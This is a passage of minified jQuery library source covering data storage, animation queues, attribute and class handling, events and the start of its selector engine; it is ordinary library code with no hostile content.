j=/^(?:\{.*\}|\[.*\])$/,k=/([A-Z])/g;f.extend({cache:{},uuid:0,expando:"jQuery"+(f.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(a){a=a.nodeType?f.cache[a[f.expando]]:a[f.expando];return!!a&&!m(a)},data:function(a,c,d,e){if(!!f.acceptData(a)){var g,h,i,j=f.expando,k=typeof c=="string",l=a.nodeType,m=l?f.cache:a,n=l?a[j]:a[j]&&j,o=c==="events";if((!n||!m[n]||!o&&!e&&!m[n].data)&&k&&d===b)return;n||(l?a[j]=n=++f.uuid:n=j),m[n]||(m[n]={},l||(m[n].toJSON=f.noop));if(typeof c=="object"||typeof c=="function")e?m[n]=f.extend(m[n],c):m[n].data=f.extend(m[n].data,c);g=h=m[n],e||(h.data||(h.data={}),h=h.data),d!==b&&(h[f.camelCase(c)]=d);if(o&&!h[c])return g.events;k?(i=h[c],i==null&&(i=h[f.camelCase(c)])):i=h;return i}},removeData:function(a,b,c){if(!!f.acceptData(a)){var d,e,g,h=f.expando,i=a.nodeType,j=i?f.cache:a,k=i?a[h]:h;if(!j[k])return;if(b){d=c?j[k]:j[k].data;if(d){f.isArray(b)||(b in d?b=[b]:(b=f.camelCase(b),b in d?b=[b]:b=b.split(" ")));for(e=0,g=b.length;e<g;e++)delete d[b[e]];if(!(c?m:f.isEmptyObject)(d))return}}if(!c){delete j[k].data;if(!m(j[k]))return}f.support.deleteExpando||!j.setInterval?delete j[k]:j[k]=null,i&&(f.support.deleteExpando?delete a[h]:a.removeAttribute?a.removeAttribute(h):a[h]=null)}},_data:function(a,b,c){return f.data(a,b,c,!0)},acceptData:function(a){if(a.nodeName){var b=f.noData[a.nodeName.toLowerCase()];if(b)return b!==!0&&a.getAttribute("classid")===b}return!0}}),f.fn.extend({data:function(a,c){var d,e,g,h,i,j=this[0],k=0,m=null;if(a===b){if(this.length){m=f.data(j);if(j.nodeType===1&&!f._data(j,"parsedAttrs")){g=j.attributes;for(i=g.length;k<i;k++)h=g[k].name,h.indexOf("data-")===0&&(h=f.camelCase(h.substring(5)),l(j,h,m[h]));f._data(j,"parsedAttrs",!0)}}return m}if(typeof a=="object")return this.each(function(){f.data(this,a)});d=a.split(".",2),d[1]=d[1]?"."+d[1]:"",e=d[1]+"!";return f.access(this,function(c){if(c===b){m=this.triggerHandler("getData"+e,[d[0]]),m===b&&j&&(m=f.data(j,a),m=l(j,a,m));return m===b&&d[1]?this.data(d[0]):m}d[1]=c,this.each(function(){var b=f(this);b.triggerHandler("setData"+e,d),f.data(this,a,c),b.triggerHandler("changeData"+e,d)})},null,c,arguments.length>1,null,!1)},removeData:function(a){return this.each(function(){f.removeData(this,a)})}}),f.extend({_mark:function(a,b){a&&(b=(b||"fx")+"mark",f._data(a,b,(f._data(a,b)||0)+1))},_unmark:function(a,b,c){a!==!0&&(c=b,b=a,a=!1);if(b){c=c||"fx";var d=c+"mark",e=a?0:(f._data(b,d)||1)-1;e?f._data(b,d,e):(f.removeData(b,d,!0),n(b,c,"mark"))}},queue:function(a,b,c){var d;if(a){b=(b||"fx")+"queue",d=f._data(a,b),c&&(!d||f.isArray(c)?d=f._data(a,b,f.makeArray(c)):d.push(c));return d||[]}},dequeue:function(a,b){b=b||"fx";var c=f.queue(a,b),d=c.shift(),e={};d==="inprogress"&&(d=c.shift()),d&&(b==="fx"&&c.unshift("inprogress"),f._data(a,b+".run",e),d.call(a,function(){f.dequeue(a,b)},e)),c.length||(f.removeData(a,b+"queue "+b+".run",!0),n(a,b,"queue"))}}),f.fn.extend({queue:function(a,c){var d=2;typeof a!="string"&&(c=a,a="fx",d--);if(arguments.length<d)return f.queue(this[0],a);return c===b?this:this.each(function(){var b=f.queue(this,a,c);a==="fx"&&b[0]!=="inprogress"&&f.dequeue(this,a)})},dequeue:function(a){return this.each(function(){f.dequeue(this,a)})},delay:function(a,b){a=f.fx?f.fx.speeds[a]||a:a,b=b||"fx";return this.queue(b,function(b,c){var d=setTimeout(b,a);c.stop=function(){clearTimeout(d)}})},clearQueue:function(a){return this.queue(a||"fx",[])},promise:function(a,c){function m(){--h||d.resolveWith(e,[e])}typeof a!="string"&&(c=a,a=b),a=a||"fx";var d=f.Deferred(),e=this,g=e.length,h=1,i=a+"defer",j=a+"queue",k=a+"mark",l;while(g--)if(l=f.data(e[g],i,b,!0)||(f.data(e[g],j,b,!0)||f.data(e[g],k,b,!0))&&f.data(e[g],i,f.Callbacks("once memory"),!0))h++,l.add(m);m();return d.promise(c)}});var o=/[\n\t\r]/g,p=/\s+/,q=/\r/g,r=/^(?:button|input)$/i,s=/^(?:button|input|object|select|textarea)$/i,t=/^a(?:rea)?$/i,u=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,v=f.support.getSetAttribute,w,x,y;f.fn.extend({attr:function(a,b){return f.access(this,f.attr,a,b,arguments.length>1)},removeAttr:function(a){return this.each(function(){f.removeAttr(this,a)})},prop:function(a,b){return f.access(this,f.prop,a,b,arguments.length>1)},removeProp:function(a){a=f.propFix[a]||a;return this.each(function(){try{this[a]=b,delete this[a]}catch(c){}})},addClass:function(a){var b,c,d,e,g,h,i;if(f.isFunction(a))return this.each(function(b){f(this).addClass(a.call(this,b,this.className))});if(a&&typeof a=="string"){b=a.split(p);for(c=0,d=this.length;c<d;c++){e=this[c];if(e.nodeType===1)if(!e.className&&b.length===1)e.className=a;else{g=" "+e.className+" ";for(h=0,i=b.length;h<i;h++)~g.indexOf(" "+b[h]+" ")||(g+=b[h]+" ");e.className=f.trim(g)}}}return this},removeClass:function(a){var c,d,e,g,h,i,j;if(f.isFunction(a))return this.each(function(b){f(this).removeClass(a.call(this,b,this.className))});if(a&&typeof a=="string"||a===b){c=(a||"").split(p);for(d=0,e=this.length;d<e;d++){g=this[d];if(g.nodeType===1&&g.className)if(a){h=(" "+g.className+" ").replace(o," ");for(i=0,j=c.length;i<j;i++)h=h.replace(" "+c[i]+" "," ");g.className=f.trim(h)}else g.className=""}}return this},toggleClass:function(a,b){var c=typeof a,d=typeof b=="boolean";if(f.isFunction(a))return this.each(function(c){f(this).toggleClass(a.call(this,c,this.className,b),b)});return this.each(function(){if(c==="string"){var e,g=0,h=f(this),i=b,j=a.split(p);while(e=j[g++])i=d?i:!h.hasClass(e),h[i?"addClass":"removeClass"](e)}else if(c==="undefined"||c==="boolean")this.className&&f._data(this,"__className__",this.className),this.className=this.className||a===!1?"":f._data(this,"__className__")||""})},hasClass:function(a){var b=" "+a+" ",c=0,d=this.length;for(;c<d;c++)if(this[c].nodeType===1&&(" "+this[c].className+" ").replace(o," ").indexOf(b)>-1)return!0;return!1},val:function(a){var c,d,e,g=this[0];{if(!!arguments.length){e=f.isFunction(a);return this.each(function(d){var g=f(this),h;if(this.nodeType===1){e?h=a.call(this,d,g.val()):h=a,h==null?h="":typeof h=="number"?h+="":f.isArray(h)&&(h=f.map(h,function(a){return a==null?"":a+""})),c=f.valHooks[this.type]||f.valHooks[this.nodeName.toLowerCase()];if(!c||!("set"in c)||c.set(this,h,"value")===b)this.value=h}})}if(g){c=f.valHooks[g.type]||f.valHooks[g.nodeName.toLowerCase()];if(c&&"get"in c&&(d=c.get(g,"value"))!==b)return d;d=g.value;return typeof d=="string"?d.replace(q,""):d==null?"":d}}}}),f.extend({valHooks:{option:{get:function(a){var b=a.attributes.value;return!b||b.specified?a.value:a.text}},select:{get:function(a){var b,c,d,e,g=a.selectedIndex,h=[],i=a.options,j=a.type==="select-one";if(g<0)return null;c=j?g:0,d=j?g+1:i.length;for(;c<d;c++){e=i[c];if(e.selected&&(f.support.optDisabled?!e.disabled:e.getAttribute("disabled")===null)&&(!e.parentNode.disabled||!f.nodeName(e.parentNode,"optgroup"))){b=f(e).val();if(j)return b;h.push(b)}}if(j&&!h.length&&i.length)return f(i[g]).val();return h},set:function(a,b){var c=f.makeArray(b);f(a).find("option").each(function(){this.selected=f.inArray(f(this).val(),c)>=0}),c.length||(a.selectedIndex=-1);return c}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attr:function(a,c,d,e){var g,h,i,j=a.nodeType;if(!!a&&j!==3&&j!==8&&j!==2){if(e&&c in f.attrFn)return f(a)[c](d);if(typeof a.getAttribute=="undefined")return f.prop(a,c,d);i=j!==1||!f.isXMLDoc(a),i&&(c=c.toLowerCase(),h=f.attrHooks[c]||(u.test(c)?x:w));if(d!==b){if(d===null){f.removeAttr(a,c);return}if(h&&"set"in h&&i&&(g=h.set(a,d,c))!==b)return g;a.setAttribute(c,""+d);return d}if(h&&"get"in h&&i&&(g=h.get(a,c))!==null)return g;g=a.getAttribute(c);return g===null?b:g}},removeAttr:function(a,b){var c,d,e,g,h,i=0;if(b&&a.nodeType===1){d=b.toLowerCase().split(p),g=d.length;for(;i<g;i++)e=d[i],e&&(c=f.propFix[e]||e,h=u.test(e),h||f.attr(a,e,""),a.removeAttribute(v?e:c),h&&c in a&&(a[c]=!1))}},attrHooks:{type:{set:function(a,b){if(r.test(a.nodeName)&&a.parentNode)f.error("type property can't be changed");else if(!f.support.radioValue&&b==="radio"&&f.nodeName(a,"input")){var c=a.value;a.setAttribute("type",b),c&&(a.value=c);return b}}},value:{get:function(a,b){if(w&&f.nodeName(a,"button"))return w.get(a,b);return b in a?a.value:null},set:function(a,b,c){if(w&&f.nodeName(a,"button"))return w.set(a,b,c);a.value=b}}},propFix:{tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"},prop:function(a,c,d){var e,g,h,i=a.nodeType;if(!!a&&i!==3&&i!==8&&i!==2){h=i!==1||!f.isXMLDoc(a),h&&(c=f.propFix[c]||c,g=f.propHooks[c]);return d!==b?g&&"set"in g&&(e=g.set(a,d,c))!==b?e:a[c]=d:g&&"get"in g&&(e=g.get(a,c))!==null?e:a[c]}},propHooks:{tabIndex:{get:function(a){var c=a.getAttributeNode("tabindex");return c&&c.specified?parseInt(c.value,10):s.test(a.nodeName)||t.test(a.nodeName)&&a.href?0:b}}}}),f.attrHooks.tabindex=f.propHooks.tabIndex,x={get:function(a,c){var d,e=f.prop(a,c);return e===!0||typeof e!="boolean"&&(d=a.getAttributeNode(c))&&d.nodeValue!==!1?c.toLowerCase():b},set:function(a,b,c){var d;b===!1?f.removeAttr(a,c):(d=f.propFix[c]||c,d in a&&(a[d]=!0),a.setAttribute(c,c.toLowerCase()));return c}},v||(y={name:!0,id:!0,coords:!0},w=f.valHooks.button={get:function(a,c){var d;d=a.getAttributeNode(c);return d&&(y[c]?d.nodeValue!=="":d.specified)?d.nodeValue:b},set:function(a,b,d){var e=a.getAttributeNode(d);e||(e=c.createAttribute(d),a.setAttributeNode(e));return e.nodeValue=b+""}},f.attrHooks.tabindex.set=w.set,f.each(["width","height"],function(a,b){f.attrHooks[b]=f.extend(f.attrHooks[b],{set:function(a,c){if(c===""){a.setAttribute(b,"auto");return c}}})}),f.attrHooks.contenteditable={get:w.get,set:function(a,b,c){b===""&&(b="false"),w.set(a,b,c)}}),f.support.hrefNormalized||f.each(["href","src","width","height"],function(a,c){f.attrHooks[c]=f.extend(f.attrHooks[c],{get:function(a){var d=a.getAttribute(c,2);return d===null?b:d}})}),f.support.style||(f.attrHooks.style={get:function(a){return a.style.cssText.toLowerCase()||b},set:function(a,b){return a.style.cssText=""+b}}),f.support.optSelected||(f.propHooks.selected=f.extend(f.propHooks.selected,{get:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex);return null}})),f.support.enctype||(f.propFix.enctype="encoding"),f.support.checkOn||f.each(["radio","checkbox"],function(){f.valHooks[this]={get:function(a){return a.getAttribute("value")===null?"on":a.value}}}),f.each(["radio","checkbox"],function(){f.valHooks[this]=f.extend(f.valHooks[this],{set:function(a,b){if(f.isArray(b))return a.checked=f.inArray(f(a).val(),b)>=0}})});var z=/^(?:textarea|input|select)$/i,A=/^([^\.]*)?(?:\.(.+))?$/,B=/(?:^|\s)hover(\.\S+)?\b/,C=/^key/,D=/^(?:mouse|contextmenu)|click/,E=/^(?:focusinfocus|focusoutblur)$/,F=/^(\w*)(?:#([\w\-]+))?(?:\.([\w\-]+))?$/,G=function(
  3 +a){var b=F.exec(a);b&&(b[1]=(b[1]||"").toLowerCase(),b[3]=b[3]&&new RegExp("(?:^|\\s)"+b[3]+"(?:\\s|$)"));return b},H=function(a,b){var c=a.attributes||{};return(!b[1]||a.nodeName.toLowerCase()===b[1])&&(!b[2]||(c.id||{}).value===b[2])&&(!b[3]||b[3].test((c["class"]||{}).value))},I=function(a){return f.event.special.hover?a:a.replace(B,"mouseenter$1 mouseleave$1")};f.event={add:function(a,c,d,e,g){var h,i,j,k,l,m,n,o,p,q,r,s;if(!(a.nodeType===3||a.nodeType===8||!c||!d||!(h=f._data(a)))){d.handler&&(p=d,d=p.handler,g=p.selector),d.guid||(d.guid=f.guid++),j=h.events,j||(h.events=j={}),i=h.handle,i||(h.handle=i=function(a){return typeof f!="undefined"&&(!a||f.event.triggered!==a.type)?f.event.dispatch.apply(i.elem,arguments):b},i.elem=a),c=f.trim(I(c)).split(" ");for(k=0;k<c.length;k++){l=A.exec(c[k])||[],m=l[1],n=(l[2]||"").split(".").sort(),s=f.event.special[m]||{},m=(g?s.delegateType:s.bindType)||m,s=f.event.special[m]||{},o=f.extend({type:m,origType:l[1],data:e,handler:d,guid:d.guid,selector:g,quick:g&&G(g),namespace:n.join(".")},p),r=j[m];if(!r){r=j[m]=[],r.delegateCount=0;if(!s.setup||s.setup.call(a,e,n,i)===!1)a.addEventListener?a.addEventListener(m,i,!1):a.attachEvent&&a.attachEvent("on"+m,i)}s.add&&(s.add.call(a,o),o.handler.guid||(o.handler.guid=d.guid)),g?r.splice(r.delegateCount++,0,o):r.push(o),f.event.global[m]=!0}a=null}},global:{},remove:function(a,b,c,d,e){var g=f.hasData(a)&&f._data(a),h,i,j,k,l,m,n,o,p,q,r,s;if(!!g&&!!(o=g.events)){b=f.trim(I(b||"")).split(" ");for(h=0;h<b.length;h++){i=A.exec(b[h])||[],j=k=i[1],l=i[2];if(!j){for(j in o)f.event.remove(a,j+b[h],c,d,!0);continue}p=f.event.special[j]||{},j=(d?p.delegateType:p.bindType)||j,r=o[j]||[],m=r.length,l=l?new RegExp("(^|\\.)"+l.split(".").sort().join("\\.(?:.*\\.)?")+"(\\.|$)"):null;for(n=0;n<r.length;n++)s=r[n],(e||k===s.origType)&&(!c||c.guid===s.guid)&&(!l||l.test(s.namespace))&&(!d||d===s.selector||d==="**"&&s.selector)&&(r.splice(n--,1),s.selector&&r.delegateCount--,p.remove&&p.remove.call(a,s));r.length===0&&m!==r.length&&((!p.teardown||p.teardown.call(a,l)===!1)&&f.removeEvent(a,j,g.handle),delete o[j])}f.isEmptyObject(o)&&(q=g.handle,q&&(q.elem=null),f.removeData(a,["events","handle"],!0))}},customEvent:{getData:!0,setData:!0,changeData:!0},trigger:function(c,d,e,g){if(!e||e.nodeType!==3&&e.nodeType!==8){var h=c.type||c,i=[],j,k,l,m,n,o,p,q,r,s;if(E.test(h+f.event.triggered))return;h.indexOf("!")>=0&&(h=h.slice(0,-1),k=!0),h.indexOf(".")>=0&&(i=h.split("."),h=i.shift(),i.sort());if((!e||f.event.customEvent[h])&&!f.event.global[h])return;c=typeof c=="object"?c[f.expando]?c:new f.Event(h,c):new f.Event(h),c.type=h,c.isTrigger=!0,c.exclusive=k,c.namespace=i.join("."),c.namespace_re=c.namespace?new RegExp("(^|\\.)"+i.join("\\.(?:.*\\.)?")+"(\\.|$)"):null,o=h.indexOf(":")<0?"on"+h:"";if(!e){j=f.cache;for(l in j)j[l].events&&j[l].events[h]&&f.event.trigger(c,d,j[l].handle.elem,!0);return}c.result=b,c.target||(c.target=e),d=d!=null?f.makeArray(d):[],d.unshift(c),p=f.event.special[h]||{};if(p.trigger&&p.trigger.apply(e,d)===!1)return;r=[[e,p.bindType||h]];if(!g&&!p.noBubble&&!f.isWindow(e)){s=p.delegateType||h,m=E.test(s+h)?e:e.parentNode,n=null;for(;m;m=m.parentNode)r.push([m,s]),n=m;n&&n===e.ownerDocument&&r.push([n.defaultView||n.parentWindow||a,s])}for(l=0;l<r.length&&!c.isPropagationStopped();l++)m=r[l][0],c.type=r[l][1],q=(f._data(m,"events")||{})[c.type]&&f._data(m,"handle"),q&&q.apply(m,d),q=o&&m[o],q&&f.acceptData(m)&&q.apply(m,d)===!1&&c.preventDefault();c.type=h,!g&&!c.isDefaultPrevented()&&(!p._default||p._default.apply(e.ownerDocument,d)===!1)&&(h!=="click"||!f.nodeName(e,"a"))&&f.acceptData(e)&&o&&e[h]&&(h!=="focus"&&h!=="blur"||c.target.offsetWidth!==0)&&!f.isWindow(e)&&(n=e[o],n&&(e[o]=null),f.event.triggered=h,e[h](),f.event.triggered=b,n&&(e[o]=n));return c.result}},dispatch:function(c){c=f.event.fix(c||a.event);var d=(f._data(this,"events")||{})[c.type]||[],e=d.delegateCount,g=[].slice.call(arguments,0),h=!c.exclusive&&!c.namespace,i=f.event.special[c.type]||{},j=[],k,l,m,n,o,p,q,r,s,t,u;g[0]=c,c.delegateTarget=this;if(!i.preDispatch||i.preDispatch.call(this,c)!==!1){if(e&&(!c.button||c.type!=="click")){n=f(this),n.context=this.ownerDocument||this;for(m=c.target;m!=this;m=m.parentNode||this)if(m.disabled!==!0){p={},r=[],n[0]=m;for(k=0;k<e;k++)s=d[k],t=s.selector,p[t]===b&&(p[t]=s.quick?H(m,s.quick):n.is(t)),p[t]&&r.push(s);r.length&&j.push({elem:m,matches:r})}}d.length>e&&j.push({elem:this,matches:d.slice(e)});for(k=0;k<j.length&&!c.isPropagationStopped();k++){q=j[k],c.currentTarget=q.elem;for(l=0;l<q.matches.length&&!c.isImmediatePropagationStopped();l++){s=q.matches[l];if(h||!c.namespace&&!s.namespace||c.namespace_re&&c.namespace_re.test(s.namespace))c.data=s.data,c.handleObj=s,o=((f.event.special[s.origType]||{}).handle||s.handler).apply(q.elem,g),o!==b&&(c.result=o,o===!1&&(c.preventDefault(),c.stopPropagation()))}}i.postDispatch&&i.postDispatch.call(this,c);return c.result}},props:"attrChange attrName relatedNode srcElement altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(a,b){a.which==null&&(a.which=b.charCode!=null?b.charCode:b.keyCode);return a}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(a,d){var e,f,g,h=d.button,i=d.fromElement;a.pageX==null&&d.clientX!=null&&(e=a.target.ownerDocument||c,f=e.documentElement,g=e.body,a.pageX=d.clientX+(f&&f.scrollLeft||g&&g.scrollLeft||0)-(f&&f.clientLeft||g&&g.clientLeft||0),a.pageY=d.clientY+(f&&f.scrollTop||g&&g.scrollTop||0)-(f&&f.clientTop||g&&g.clientTop||0)),!a.relatedTarget&&i&&(a.relatedTarget=i===a.target?d.toElement:i),!a.which&&h!==b&&(a.which=h&1?1:h&2?3:h&4?2:0);return a}},fix:function(a){if(a[f.expando])return a;var d,e,g=a,h=f.event.fixHooks[a.type]||{},i=h.props?this.props.concat(h.props):this.props;a=f.Event(g);for(d=i.length;d;)e=i[--d],a[e]=g[e];a.target||(a.target=g.srcElement||c),a.target.nodeType===3&&(a.target=a.target.parentNode),a.metaKey===b&&(a.metaKey=a.ctrlKey);return h.filter?h.filter(a,g):a},special:{ready:{setup:f.bindReady},load:{noBubble:!0},focus:{delegateType:"focusin"},blur:{delegateType:"focusout"},beforeunload:{setup:function(a,b,c){f.isWindow(this)&&(this.onbeforeunload=c)},teardown:function(a,b){this.onbeforeunload===b&&(this.onbeforeunload=null)}}},simulate:function(a,b,c,d){var e=f.extend(new f.Event,c,{type:a,isSimulated:!0,originalEvent:{}});d?f.event.trigger(e,null,b):f.event.dispatch.call(b,e),e.isDefaultPrevented()&&c.preventDefault()}},f.event.handle=f.event.dispatch,f.removeEvent=c.removeEventListener?function(a,b,c){a.removeEventListener&&a.removeEventListener(b,c,!1)}:function(a,b,c){a.detachEvent&&a.detachEvent("on"+b,c)},f.Event=function(a,b){if(!(this instanceof f.Event))return new f.Event(a,b);a&&a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||a.returnValue===!1||a.getPreventDefault&&a.getPreventDefault()?K:J):this.type=a,b&&f.extend(this,b),this.timeStamp=a&&a.timeStamp||f.now(),this[f.expando]=!0},f.Event.prototype={preventDefault:function(){this.isDefaultPrevented=K;var a=this.originalEvent;!a||(a.preventDefault?a.preventDefault():a.returnValue=!1)},stopPropagation:function(){this.isPropagationStopped=K;var a=this.originalEvent;!a||(a.stopPropagation&&a.stopPropagation(),a.cancelBubble=!0)},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=K,this.stopPropagation()},isDefaultPrevented:J,isPropagationStopped:J,isImmediatePropagationStopped:J},f.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(a,b){f.event.special[a]={delegateType:b,bindType:b,handle:function(a){var c=this,d=a.relatedTarget,e=a.handleObj,g=e.selector,h;if(!d||d!==c&&!f.contains(c,d))a.type=e.origType,h=e.handler.apply(this,arguments),a.type=b;return h}}}),f.support.submitBubbles||(f.event.special.submit={setup:function(){if(f.nodeName(this,"form"))return!1;f.event.add(this,"click._submit keypress._submit",function(a){var c=a.target,d=f.nodeName(c,"input")||f.nodeName(c,"button")?c.form:b;d&&!d._submit_attached&&(f.event.add(d,"submit._submit",function(a){a._submit_bubble=!0}),d._submit_attached=!0)})},postDispatch:function(a){a._submit_bubble&&(delete a._submit_bubble,this.parentNode&&!a.isTrigger&&f.event.simulate("submit",this.parentNode,a,!0))},teardown:function(){if(f.nodeName(this,"form"))return!1;f.event.remove(this,"._submit")}}),f.support.changeBubbles||(f.event.special.change={setup:function(){if(z.test(this.nodeName)){if(this.type==="checkbox"||this.type==="radio")f.event.add(this,"propertychange._change",function(a){a.originalEvent.propertyName==="checked"&&(this._just_changed=!0)}),f.event.add(this,"click._change",function(a){this._just_changed&&!a.isTrigger&&(this._just_changed=!1,f.event.simulate("change",this,a,!0))});return!1}f.event.add(this,"beforeactivate._change",function(a){var b=a.target;z.test(b.nodeName)&&!b._change_attached&&(f.event.add(b,"change._change",function(a){this.parentNode&&!a.isSimulated&&!a.isTrigger&&f.event.simulate("change",this.parentNode,a,!0)}),b._change_attached=!0)})},handle:function(a){var b=a.target;if(this!==b||a.isSimulated||a.isTrigger||b.type!=="radio"&&b.type!=="checkbox")return a.handleObj.handler.apply(this,arguments)},teardown:function(){f.event.remove(this,"._change");return z.test(this.nodeName)}}),f.support.focusinBubbles||f.each({focus:"focusin",blur:"focusout"},function(a,b){var d=0,e=function(a){f.event.simulate(b,a.target,f.event.fix(a),!0)};f.event.special[b]={setup:function(){d++===0&&c.addEventListener(a,e,!0)},teardown:function(){--d===0&&c.removeEventListener(a,e,!0)}}}),f.fn.extend({on:function(a,c,d,e,g){var h,i;if(typeof a=="object"){typeof c!="string"&&(d=d||c,c=b);for(i in a)this.on(i,c,d,a[i],g);return this}d==null&&e==null?(e=c,d=c=b):e==null&&(typeof c=="string"?(e=d,d=b):(e=d,d=c,c=b));if(e===!1)e=J;else if(!e)return this;g===1&&(h=e,e=function(a){f().off(a);return h.apply(this,arguments)},e.guid=h.guid||(h.guid=f.guid++));return this.each(function(){f.event.add(this,a,e,d,c)})},one:function(a,b,c,d){return this.on(a,b,c,d,1)},off:function(a,c,d){if(a&&a.preventDefault&&a.handleObj){var e=a.handleObj;f(a.delegateTarget).off(e.namespace?e.origType+"."+e.namespace:e.origType,e.selector,e.handler);return this}if(typeof a=="object"){for(var g in a)this.off(g,c,a[g]);return this}if(c===!1||typeof c=="function")d=c,c=b;d===!1&&(d=J);return this.each(function(){f.event.remove(this,a,d,c)})},bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},live:function(a,b,c){f(this.context).on(a,this.selector,b,c);return this},die:function(a,b){f(this.context).off(a,this.selector||"**",b);return this},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return arguments.length==1?this.off(a,"**"):this.off(b,a,c)},trigger:function(a,b){return this.each(function(){f.event.trigger(a,b,this)})},triggerHandler:function(a,b){if(this[0])return f.event.trigger(a,b,this[0],!0)},toggle:function(a){var b=arguments,c=a.guid||f.guid++,d=0,e=function(c){var e=(f._data(this,"lastToggle"+a.guid)||0)%d;f._data(this,"lastToggle"+a.guid,e+1),c.preventDefault();return b[e].apply(this,arguments)||!1};e.guid=c;while(d<b.length)b[d++].guid=c;return this.click(e)},hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}}),f.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(a,b){f.fn[b]=function(a,c){c==null&&(c=a,a=null);return arguments.length>0?this.on(b,null,a,c):this.trigger(b)},f.attrFn&&(f.attrFn[b]=!0),C.test(b)&&(f.event.fixHooks[b]=f.event.keyHooks),D.test(b)&&(f.event.fixHooks[b]=f.event.mouseHooks)}),function(){function x(a,b,c,e,f,g){for(var h=0,i=e.length;h<i;h++){var j=e[h];if(j){var k=!1;j=j[a];while(j){if(j[d]===c){k=e[j.sizset];break}if(j.nodeType===1){g||(j[d]=c,j.sizset=h);if(typeof b!="string"){if(j===b){k=!0;break}}else if(m.filter(b,[j]).length>0){k=j;break}}j=j[a]}e[h]=k}}}function w(a,b,c,e,f,g){for(var h=0,i=e.length;h<i;h++){var j=e[h];if(j){var k=!1;j=j[a];while(j){if(j[d]===c){k=e[j.sizset];break}j.nodeType===1&&!g&&(j[d]=c,j.sizset=h);if(j.nodeName.toLowerCase()===b){k=j;break}j=j[a]}e[h]=k}}}var a=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,d="sizcache"+(Math.random()+"").replace(".",""),e=0,g=Object.prototype.toString,h=!1,i=!0,j=/\\/g,k=/\r\n/g,l=/\W/;[0,0].sort(function(){i=!1;return 0});var m=function(b,d,e,f){e=e||[],d=d||c;var h=d;if(d.nodeType!==1&&d.nodeType!==9)return[];if(!b||typeof b!="string")return e;var i,j,k,l,n,q,r,t,u=!0,v=m.isXML(d),w=[],x=b;do{a.exec(""),i=a.exec(x);if(i){x=i[3],w.push(i[1]);if(i[2]){l=i[3];break}}}while(i);if(w.length>1&&p.exec(b))if(w.length===2&&o.relative[w[0]])j=y(w[0]+w[1],d,f);else{j=o.relative[w[0]]?[d]:m(w.shift(),d);while(w.length)b=w.shift(),o.relative[b]&&(b+=w.shift()),j=y(b,j,f)}else{!f&&w.length>1&&d.nodeType===9&&!v&&o.match.ID.test(w[0])&&!o.match.ID.test(w[w.length-1])&&(n=m.find(w.shift(),d,v),d=n.expr?m.filter(n.expr,n.set)[0]:n.set[0]);if(d){n=f?{expr:w.pop(),set:s(f)}:m.find(w.pop(),w.length===1&&(w[0]==="~"||w[0]==="+")&&d.parentNode?d.parentNode:d,v),j=n.expr?m.filter(n.expr,n.set):n.set,w.length>0?k=s(j):u=!1;while(w.length)q=w.pop(),r=q,o.relative[q]?r=w.pop():q="",r==null&&(r=d),o.relative[q](k,r,v)}else k=w=[]}k||(k=j),k||m.error(q||b);if(g.call(k)==="[object Array]")if(!u)e.push.apply(e,k);else if(d&&d.nodeType===1)for(t=0;k[t]!=null;t++)k[t]&&(k[t]===!0||k[t].nodeType===1&&m.contains(d,k[t]))&&e.push(j[t]);else for(t=0;k[t]!=null;t++)k[t]&&k[t].nodeType===1&&e.push(j[t]);else s(k,e);l&&(m(l,h,e,f),m.uniqueSort(e));return e};m.uniqueSort=function(a){if(u){h=i,a.sort(u);if(h)for(var b=1;b<a.length;b++)a[b]===a[b-1]&&a.splice(b--,1)}return a},m.matches=function(a,b){return m(a,null,null,b)},m.matchesSelector=function(a,b){return m(b,null,null,[a]).length>0},m.find=function(a,b,c){var d,e,f,g,h,i;if(!a)return[];for(e=0,f=o.order.length;e<f;e++){h=o.order[e];if(g=o.leftMatch[h].exec(a)){i=g[1],g.splice(1,1);if(i.substr(i.length-1)!=="\\"){g[1]=(g[1]||"").replace(j,""),d=o.find[h](g,b,c);if(d!=null){a=a.replace(o.match[h],"");break}}}}d||(d=typeof b.getElementsByTagName!="undefined"?b.getElementsByTagName("*"):[]);return{set:d,expr:a}},m.filter=function(a,c,d,e){var f,g,h,i,j,k,l,n,p,q=a,r=[],s=c,t=c&&c[0]&&m.isXML(c[0]);while(a&&c.length){for(h in o.filter)if((f=o.leftMatch[h].exec(a))!=null&&f[2]){k=o.filter[h],l=f[1],g=!1,f.splice(1,1);if(l.substr(l.length-1)==="\\")continue;s===r&&(r=[]);if(o.preFilter[h]){f=o.preFilter[h](f,s,d,r,e,t);if(!f)g=i=!0;else 